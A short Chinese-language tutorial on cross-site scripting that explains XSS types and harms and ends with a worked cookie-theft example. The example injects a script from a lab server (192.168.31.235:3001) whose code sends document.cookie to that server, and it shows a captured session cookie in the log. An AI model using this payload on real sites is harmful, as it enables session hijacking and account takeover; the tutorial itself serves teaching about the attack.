跨站脚本攻击（XSS）

XSS

Cross Site Scripting（跨站脚本攻击）是客户端脚本安全中的头号大敌，它通过在页面中注入脚本，然后触发执行，获取相应的权限。

xss 攻击危害

• 获取Cookie
• 网络钓鱼
• 劫持会话
• 传播xss蠕虫

xss攻击分类

反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱惑用户“点击”一个恶意链接，才能攻击成功。

存储型

存储型XSS会把用户输入的数据“存储”在服务器，这种XSS具有很强的稳定性。

基于DOM

从效果来说也是一种反射型XSS

常见XSS（html/css/js/DOM）

XSS获取Cookie
在html注入<script src="http://192.168.31.235:3001/javascripts/evil.js"></script>

// evil.js
var img = document.createElement('img');
img.src = 'http://192.168.31.235:3001/log?cookie=' + escape(document.cookie);
document.body.appendChild(img);

执行js，文档加载图片，同时把document.cookie发送到3001服务器。
3001后台日志

GET /log?cookie=connect.sid%3Ds